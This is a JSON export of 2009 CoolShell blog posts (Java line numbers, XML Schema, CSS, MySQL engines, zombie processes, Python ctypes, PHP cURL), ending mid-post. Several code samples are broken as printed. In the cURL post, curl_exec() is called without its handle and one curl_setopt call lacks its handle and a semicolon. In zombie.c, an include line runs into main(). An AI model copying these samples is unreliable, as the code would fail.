    "content": "---\nlayout: post\ntitle: Java如何取源文件中文件名和行号\ndate: 2009/4/22/ 7:0:49\nupdated: 2009/4/22/ 7:0:49\nstatus: publish\npublished: true\ntype: post\n---\n\n如何取的Java源代码文件中文件名和行号：）\n\n\n在C/C++的程序，编译器提供了两个宏来支持取得源文件中的行号和文件名，这两个宏是\\_\\_FILE\\_\\_,\\_\\_LINE\\_\\_\n\n\n你可以如下的方法打印行号和文件名\n\n\n\n```\n\n\n#include <stdio.h>\nint main()\n{\n fprintf(stdout,\"[%s:%d] Hello World!\",__FILE__,__LINE__);\n return 0;\n}\n\n\n```\n\n  \n\n但是在JAVA下没有这两个宏，那么我们如何来取得文件名和行号，翻阅JDK，我们找到StackTraceElement这个类。这个类可以从Throwable取得，另外也可以从Thread类取得，通过这些我写如下的一个打印行号的测试程序：\n\n\n\n```\n\n\npublic class LineNo {\n public static int getLineNumber() {\n return Thread.currentThread().getStackTrace()[2].getLineNumber();\n }  \n\n public static String getFileName() {\n return Thread.currentThread().getStackTrace()[2].getFileName();\n }\n public static void main(String args[]) {\n System.out.println(\"[\"+getFileName()+\"：\"+ getLineNumber()+\"]\"+\"Hello World!\");\n }\n}\n\n\n```\n\n留下一个问题，上面程序中的magic数字 2 代表什么含义呢？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java如何取源文件中文件名和行号](https://coolshell.cn/articles/611.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-22 早期XML Schema中的open content模型.md",
    "content": "---\nlayout: post\ntitle: 早期XML Schema中的open content模型\ndate: 2009/4/22/ 5:4:41\nupdated: 2009/4/22/ 5:4:41\nstatus: publish\npublished: true\ntype: post\n---\n\n**摘要**：在看SDO的一些规范文档，可能会出现open content这样的词组，上网查了相关资料，发现这是一种XML Schema的模型，本文就描述了XML Schema的Open Content模型的含义，在最新的XML Schema规范中，好像已经没有Open模型，它的等价物是any模型。\n\n\n早期发布的XML Schema规范中支持一种新的element定义，在这个定义中，你可以将XML的Element的内容定义为开放的。下面我们将会介绍一下XML的Open Content 模型。\n\n\n在Open Content模型中，如果一个XML的元素在XML Schema中被声明为开放的，那么这个Schema对应的XML文档的实例就可以包含一个没有在Schema中罗列的子元素。例如，一个包含着如下的XML Schema的Schema文件\n\n\n\n\n```\n\n      <element name=&quot;Book&quot;>\n           <type>\n               <element name=&quot;Title&quot; type=&quot;string&quot;/>\n               <element name=&quot;Author&quot; type=&quot;string&quot;/>\n               <element name=&quot;Date&quot; type=&quot;string&quot;/>\n               <element name=&quot;ISBN&quot; type=&quot;string&quot;/>\n               <element name=&quot;Publisher&quot; type=&quot;string&quot;/>\n           </type>\n      </element>\n```\n\n这个book element的声明意味着这个Schema的实例XML文件必须包含5个元素 – Title,Author，Date，ISBN，Pbulish。例如：\n\n\n\n```\n\n     <Book>\n         <Title>Illusions The Adventures of a Reluctant Messiah</Title>\n         <Author>Richard Bach</Author>\n         <Date>1977</Date>\n         <ISBN>0-440-34319-4</ISBN>\n         <Publisher>Dell Publishing Co.</Publisher>\n     </Book>\n\n\n```\n\n假设，在实例XML文件，你希望增加book的另外一个子元素，比如，你希望增加一个到某一个网页的连接：\n\n\n\n```\n\n     <Book>\n         <Title>Illusions The Adventures of a Reluctant Messiah</Title>\n         <Author>Richard Bach</Author>\n         <Date>1977</Date>\n         <ISBN>0-440-34319-4</ISBN>\n         <Publisher>Dell Publishing Co.</Publisher>\n         <AuthorsWebPage xlink:href=&quot;<a href=&quot;http://www.rbach.com&quot;/&quot;>http://www.rbach.com&quot;/</a>>\n    </Book>\n\n\n```\n\n对于上面这个XML文件，XML Schema分析器将会认为这个XML文件是无效的XML，因为上面的文件的包含了Scheme中没有定义的元素。但是在我们的应用场景中，我们可能会希望XML Schema分析器不要报错，因为，应用程序自己知道如何处理<AuthorsWebPage>这个元素。为了达到这个目的，我们就可以将Book声明为开放的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3609.html)[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/3585.html)[SOAP的S是Simple](https://coolshell.cn/articles/3585.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/3498.html)[信XML，得自信](https://coolshell.cn/articles/3498.html)\nThe post [早期XML Schema中的open content模型](https://coolshell.cn/articles/604.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-23 22个不错的CSS技术.md",
    "content": "---\nlayout: post\ntitle: 22个不错的CSS技术\ndate: 2009/4/23/ 16:13:30\nupdated: 2009/4/23/ 16:13:30\nstatus: publish\npublished: true\ntype: post\n---\n\n我们可以CSS 干很多很多相当不错的事情，你应该知道如何做这些事情。下面列出了一些你必需要知道的用CSS技术，点击链接，你可以看到相关教程。这个技术相当值得你去学习。\n\n\n#### 1. [CSS 地图](http://mikecherim.com/experiments/css_map_pop.php \"css imagepop\")\n\n\n[![image-maps](../wp-content/uploads/2009/02/image-maps.jpg)](http://green-beast.com/experiments/css_map_pop.php)  \n\n\n\n\n#### 2. [Css 缩略图 Pop up](http://moneytreesystems.com/css/picpopup.html)\n\n\n[![image-pops](../wp-content/uploads/2009/02/image-pops.jpg)](http://moneytreesystems.com/css/picpopup.html)\n\n\n#### 3. [CSS 3 透明示例](http://webdesign.about.com/od/examples/l/blopacity.htm)\n\n\n[![opacity](../wp-content/uploads/2009/02/opacity.jpg)](http://webdesign.about.com/od/examples/l/blopacity.htm)\n\n\n#### 4. [漂亮的半透明菜单](http://www.stunicholls.myby.co.uk/)\n\n\n[![css-transparent-menus](../wp-content/uploads/2009/02/css-transparent-menus.jpg)](http://www.stunicholls.myby.co.uk/)\n\n\n#### 5. [又一个半透明的菜单](http://meyerweb.com/eric/css/edge/complexspiral/demo2.html)\n\n\n![transparent-menu](../wp-content/uploads/2009/02/transparent-menu.jpg)\n\n\n#### 6. [带图标的链接](http://pooliestudios.com/projects/iconize/)\n\n\n[![image-cues](../wp-content/uploads/2009/02/image-cues.jpg)](http://pooliestudios.com/projects/iconize/)\n\n\n#### 7. [图片滚动](http://www.cssplay.co.uk/menu/scrollmap)\n\n\n[![scrolling-imagemap](../wp-content/uploads/2009/02/scrolling-imagemap.jpg)](http://www.cssplay.co.uk/menu/solar_map)\n\n\n#### 8. [图片地图](http://www.cssplay.co.uk/menu/solar_map)\n\n\n[![earth-css-image](../wp-content/uploads/2009/02/earth-css-image.jpg)](http://www.cssplay.co.uk/menu/solar_map)\n\n\n#### 9. [CSS 表单背景](http://www.picment.com/articles/css/funwithforms/)\n\n\n[![form](../wp-content/uploads/2009/02/form.jpg)](http://www.picment.com/articles/css/funwithforms/)\n\n\n#### 10.[表单重构设计](http://www.digital-web.com/articles/redesigning_ebay_registration/)\n\n\n#### form-redesign\n\n\n#### 11. [表单风格](http://www.alistapart.com/articles/prettyaccessibleforms)\n\n\n#### css-techniques0024\n\n\n#### 12. [表单检查](http://lipidity.com/fancy-form/)\n\n\n[![fancy-check-boxes](../wp-content/uploads/2009/02/fancy-check-boxes.gif)](http://lipidity.com/fancy-form/)\n\n\n#### 13. [漂单的表单](http://www.badboy.ro/articles/2007-01-30/niceforms/)\n\n\n#### [personal](http://www.badboy.ro/articles/2007-01-30/niceforms/)\n\n\n#### 14. [CSS 折叠式导航](http://www.cssnewbie.com/css-only-accordion/)\n\n\n[![accordian](../wp-content/uploads/2009/02/accordian.gif)](http://www.cssnewbie.com/css-only-accordion/)\n\n\n#### 15. [ice Brrg 在线表单生成器](http://www.icebrrg.com/public/howto.aspx)\n\n\n#### icebrrg\n\n\n#### 16. Jot Form (一个在线的表单创建网站)\n\n\n#### [jot-forms](http://www.jotform.com/)\n\n\n#### 17. [Wufoo (相当不错的风格)](http://wufoo.com/)\n\n\n#### [wufoo](http://wufoo.com/)\n\n\n#### 18. [表单站点生成器](http://www.formsite.com/)\n\n\n#### [formsite](http://www.formsite.com/)\n\n\n#### 19. [Form logix](http://www.formlogix.com/)\n\n\n[![form-logix](../wp-content/uploads/2009/02/form-logix.gif)](http://www.formlogix.com/)\n\n\n#### 20. [免费的CSS tab 页设计者](http://www.highdots.com/css-tab-designer/)\n\n\nCSS Tab 页设计者是一个独特和容易的软件帮助你设计你的CSS TAB页，完全可视化的设计，不需要任何的CSS或编程的知识。\n\n\n#### [tabgenerator](http://www.highdots.com/css-tab-designer/)\n\n\n#### 21. Just style\n\n\nJustStyle CSS 编辑器是一个有完整功能的，易用的软件，其可以非常容易的设计CSS风格。\n\n\n[![just-style](../wp-content/uploads/2009/02/just-style.gif)](http://ucware.com/juststyle/index.htm)\n\n\n#### 22. [滑动式Tab页](http://www.andrewsellick.com/examples/tabslideV2/)\n\n\n#### [sliding-tab](http://www.andrewsellick.com/examples/tabslideV2/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/5164.html)[CSS图形](https://coolshell.cn/articles/5164.html)\nThe post [22个不错的CSS技术](https://coolshell.cn/articles/648.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-24 MySQL InnoDB 还是 MyISAM_.md",
    "content": "---\nlayout: post\ntitle: MySQL: InnoDB 还是 MyISAM?\ndate: 2009/4/24/ 6:33:9\nupdated: 2009/4/24/ 6:33:9\nstatus: publish\npublished: true\ntype: post\n---\n\nMyISAM 是MySQL中默认的存储引擎，一般来说不是有太多人关心这个东西。决定使用什么样的存储引擎是一个很tricky的事情，但是还是值我们去研究一下，这里的文章只考虑 MyISAM 和InnoDB这两个，因为这两个是最常见的。\n\n\n下面先让我们回答一些问题：\n\n\n* 你的数据库有外键吗？\n* 你需要事务支持吗？\n* 你需要全文索引吗？\n* 你经常使用什么样的查询模式？\n* 你的数据有多大？\n\n\n\n思考上面这些问题可以让你找到合适的方向，但那并不是绝对的。如果你需要事务处理或是外键，那么InnoDB 可能是比较好的方式。如果你需要全文索引，那么通常来说 MyISAM是好的选择，因为这是系统内建的，然而，我们其实并不会经常地去测试两百万行记录。所以，就算是慢一点，我们可以通过使用Sphinx从InnoDB中获得全文索引。\n\n\n数据的大小，是一个影响你选择什么样存储引擎的重要因素，大尺寸的数据集趋向于选择InnoDB方式，因为其支持事务处理和故障恢复。数据库的在小决定了故障恢复的时间长短，InnoDB可以利用事务日志进行数据恢复，这会比较快。而MyISAM可能会需要几个小时甚至几天来干这些事，InnoDB只需要几分钟。\n\n\n您操作数据库表的习惯可能也会是一个对性能影响很大的因素。比如： COUNT() 在 MyISAM 表中会非常快，而在InnoDB 表下可能会很痛苦。而主键查询则在InnoDB下会相当相当的快，但需要小心的是如果我们的主键太长了也会导致性能问题。大批的inserts 语句在MyISAM下会快一些，但是updates 在InnoDB 下会更快一些——尤其在并发量大的时候。\n\n\n所以，到底你检使用哪一个呢？根据经验来看，如果是一些小型的应用或项目，那么MyISAM 也许会更适合。当然，在大型的环境下使用MyISAM 也会有很大成功的时候，但却不总是这样的。如果你正在计划使用一个超大数据量的项目，而且需要事务处理或外键支持，那么你真的应该直接使用InnoDB方式。但需要记住InnoDB 的表需要更多的内存和存储，转换100GB 的MyISAM 表到InnoDB 表可能会让你有非常坏的体验。\n\n\nhttp://blog.inetu.net/wp-content/plugins/wp-spamfree/img/wpsf-img.php\n\n\n文章：[来源](http://blog.inetu.net/2009/04/mysql-innodb-or-myisam/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![MySQL性能优化的最佳20+条经验](../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg)](https://coolshell.cn/articles/1846.html)[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/5826.html)[千万别用MongoDB？真的吗？！](https://coolshell.cn/articles/5826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [MySQL: InnoDB 还是 MyISAM?](https://coolshell.cn/articles/652.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-25 Linux 的僵尸(zombie)进程.md",
    "content": "---\nlayout: post\ntitle: Linux 的僵尸(zombie)进程\ndate: 2009/4/25/ 7:28:42\nupdated: 2009/4/25/ 7:28:42\nstatus: publish\npublished: true\ntype: post\n---\n\n可能很少有人意识到，在一个进程调用了exit之后，该进程 并非马上就消失掉，而是留下一个称为僵尸进程（Zombie）的数据结构。在Linux进程的5种状态中，僵尸进程是非常特殊的一种，它已经放弃了几乎所 有内存空间，没有任何可执行代码，也不能被调度，仅仅在进程列表中保留一个位置，记载该进程的退出状态等信息供其他进程收集，除此之外，僵尸进程不再占有 任何内存空间。\n\n\n僵尸进程的来由，要追溯到Unix，Unix的设计者们设计这个东西并非是因为闲来无事想装装酷什么的。上面说到，僵尸进程中保存着很多对程序员和系统管理员非常重要的信息，首先，这个进程是怎么死亡的？是正常退出呢，还是出现了错误，还是被其它进程强迫退出的？也就是说，这个程序的退出码是什么？其次，这个进程占用的总系统CPU时间和总用户CPU时间分别是多少？发生页错误的数目和收到信号的数目。这些信息都被存储在僵尸进程中，试想如果没有僵尸进程，进程执行多长我们并不知道，一旦其退出，所有与之相关的信息都立刻都从系统中清除，而如果此时父进程或系统管理员需要用到，就只好干瞪眼了。\n\n\n\n所以，进程退出后，系统会把该进程的状态变成Zombie，然后给上一定的时间等着父进程来收集其退出信息，因为可能父进程正忙于别的事情来不及收集，所以，使用Zombie状态表示进程退出了，正在等待父进程收集信息中。\n\n\nZombie进程不可以用kill命令清楚，因为进程已退出，如果需要清除这样的进程，那么需要清除其父进程，或是等很长的时间后被内核清除。因为Zombie的进程还占着个进程ID号呢，这样的进程如果很多的话，不利于系统的进程调度。\n\n\n下面，让我们来看看一个示例：\n\n\n\n```\n\n/* zombie.c */\n#include <sys/types.h>\n#include <unistd.h>  main()\n{\n    pid_t pid; \n    pid=fork();\n    if(pid<0) { /* 如果出错 */ \n        printf(\"error occurred!\\n\");\n    }else if(pid==0){ /* 如果是子进程 */ \n        exit(0);\n    }else{  /* 如果是父进程 */ \n        sleep(60);  /* 休眠60秒 */ \n        wait(NULL); /* 收集僵尸进程 */\n    }\n}\n\n\n```\n\n编译这个程序：\n\n\n`$ cc zombie.c -o zombie`\n\n\n后台运行程序，以使我们能够执行下一条命令\n\n\n\n```\n\n$ ./zombie &\n[1] 1217\n\n```\n\n列一下系统内的进程\n\n\n\n```\n\n$ ps -ax\n... ...\n1137   pts/0   S   0:00   -bash\n1217   pts/0   S   0:00   ./zombie\n1218   pts/0   Z   0:00   [zombie]\n1578   pts/0   R   0:00   ps   -ax\n\n```\n\n其中的”Z”就是僵尸进程的标志，它表示1218号进程现在就是一个僵尸进程。\n\n\n收集Zombie进程的信息，并终结这些僵尸进程，需要我们在父进程中使用waitpid调用和wait调用。这两者的作用都是收集僵尸进程留下的信息，同时使这个进程彻底消失。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux 的僵尸(zombie)进程](https://coolshell.cn/articles/656.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-25 Python调用C语言函数.md",
    "content": "---\nlayout: post\ntitle: Python调用C语言函数\ndate: 2009/4/25/ 17:29:57\nupdated: 2009/4/25/ 17:29:57\nstatus: publish\npublished: true\ntype: post\n---\n\n使用Python的[ctypes](http://docs.python.org/library/ctypes.html)，我们可以直接调用由C直接编译出来的函数。其实就是调用动态链接库中的函数。为什么我们需要这样做呢，因为有些时候，我们可能需要一个性能上比较讲究的算法，有些时候，我们可以在Python中使用已经有了的现成的被封闭在动态链接库中的函数。下面是如何调用的示例。\n\n\n首先，我们用一个乘法来表示一个算法功能。下面是C的程序：\n\n\n\n```\nint\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n\n```\n\n\n如果在Windows下，你可能需要写成下面这个样子：\n\n\n\n```\n\n#include <windows.h>\n\n\nBOOL APIENTRY\nDllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    return TRUE;\n}\n\n__declspec(dllexport) int\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n\n```\n\n然后，自然是把这个C文件编成动态链接库：\n\n\nLinux下的编译：\n\n\n\n```\n\ngcc -c -fPIC libtest.c\ngcc -shared libtest.o -o libtest.so\n\n```\n\nWindows下的编译：\n\n\n\n```\n\ncl -LD libtest.c -libtest.dll\n\n```\n\n于是在我们的Python中可以这样使用：  \n\n(其中的libtest.so在Windows下改成libtest.dll即可)\n\n\n\n```\n\n>>> from ctypes import *\n>>> import os\n>>> libtest = cdll.LoadLibrary(os.getcwd() + '/libtest.so')\n>>> print libtest.multiply(2, 2)\n4\n\n```\n\n注意：上面的Python脚本中需要把动态链接库放到当前目录中。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python调用C语言函数](https://coolshell.cn/articles/671.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-25 使用PHP的cURL库.md",
    "content": "---\nlayout: post\ntitle: 使用PHP的cURL库\ndate: 2009/4/25/ 9:12:32\nupdated: 2009/4/25/ 9:12:32\nstatus: publish\npublished: true\ntype: post\n---\n\n使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本，然后分析一下你所抓取的网页，然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链接上取部分数据，或是取一个XML文件并把其导入数据库，那怕就是简单的获取网页内容，cURL 是一个功能强大的PHP库。本文主要讲述如果使用这个PHP库。\n\n\n**启用 cURL 设置**  \n\n首先，我们得先要确定我们的PHP是否开启了这个库，你可以通过使用php\\_info()函数来得到这一信息。\n\n\n\n```\n<?php\n    phpinfo();\n?>\n```\n\n\n \n\n\n如果你可以在网页上看到下面的输出，那么表示cURL库已被开启。\n\n\n[![phpinfo_curl](../wp-content/uploads/2009/04/phpinfo_curl.png \"phpinfo_curl\")](https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png)\n\n\n如果你看到的话，那么你需要设置你的PHP并开启这个库。如果你是在Windows平台下，那么非常简单，你需要改一改你的php.ini文件的设置，找到php\\_curl.dll，并取消前面的分号注释就行了。如下所示：\n\n\n\n```\n\n\n//取消下在的注释\nextension=php_curl.dll \n\n```\n\n如果你是在Linux下面，那么，你需要重新编译你的PHP了，编辑时，你需要打开编译参数——在configure命令上加上“–with-curl” 参数。\n\n\n**一个小示例**  \n\n如果一切就绪，下面是一个小例程：\n\n\n\n```\n\n<?php\n// 初始化一个 cURL 对象\n$curl = curl_init(); \n\n// 设置你需要抓取的URL\ncurl_setopt($curl, CURLOPT_URL, 'https://coolshell.cn');\n\n// 设置header\ncurl_setopt($curl, CURLOPT_HEADER, 1);\n\n// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n// 运行cURL，请求网页\n$data = curl_exec($curl);\n\n// 关闭URL请求\ncurl_close($curl);\n\n// 显示获得的数据\nvar_dump($data);\n\n```\n\n \n\n\n**如何POST数据**\n\n\n上面是抓取网页的代码，下面则是向某个网页POST数据。假设我们有一个处理表单的网址<http://www.example.com/sendSMS.php>，其可以接受两个表单域，一个是电话号码，一个是短信内容。\n\n\n\n```\n\n<?php\n    $phoneNumber = '13912345678';\n    $message = 'This message was generated by curl and php';\n    $curlPost = 'pNUMBER='  . urlencode($phoneNumber) . '&MESSAGE=' . urlencode($message) . '&SUBMIT=Send';\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/sendSMS.php');\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_POST, 1);\n    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);\n    $data = curl_exec();\n    curl_close($ch);\n?>\n\n```\n\n 从上面的程序我们可以看到，使用CURLOPT\\_POST设置HTTP协议的POST方法，而不是GET方法，然后以CURLOPT\\_POSTFIELDS设置POST的数据。\n\n\n**关于代理服务器**\n\n\n\n```\n下面是一个如何使用代理服务器的示例。请注意其中高亮的代码，代码很简单，我就不用多说了。\n```\n\n\n```\n\n<?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com');\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);\n    curl_setopt($ch, CURLOPT_PROXY, 'fakeproxy.com:1080');\n    curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'user:password');\n    $data = curl_exec();\n    curl_close($ch);\n?>\n\n\n```\n\n **关于SSL和Cookie**\n\n\n关于SSL也就是HTTPS协议，你只需要把CURLOPT\\_URL连接中的http://变成https://就可以了。当然，还有一个参数叫CURLOPT\\_SSL\\_VERIFYHOST可以设置为验证站点。\n\n\n关于Cookie，你需要了解下面三个参数：\n\n\n* CURLOPT\\_COOKIE，在当面的会话中设置一个cookie\n* CURLOPT\\_COOKIEJAR，当会话结束的时候保存一个Cookie\n* CURLOPT\\_COOKIEFILE，Cookie的文件。\n\n\n**HTTP服务器认证**\n\n\n最后，我们来看一看HTTP服务器认证的情况。\n\n\n\n```\n\n<?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com');\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n    curl_setopt(CURLOPT_USERPWD, '[username]:[password]')\n\n    $data = curl_exec();\n    curl_close($ch);\n?>\n\n```\n\n关于其它更多的内容，请大家参看相关的cURL手册吧。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* 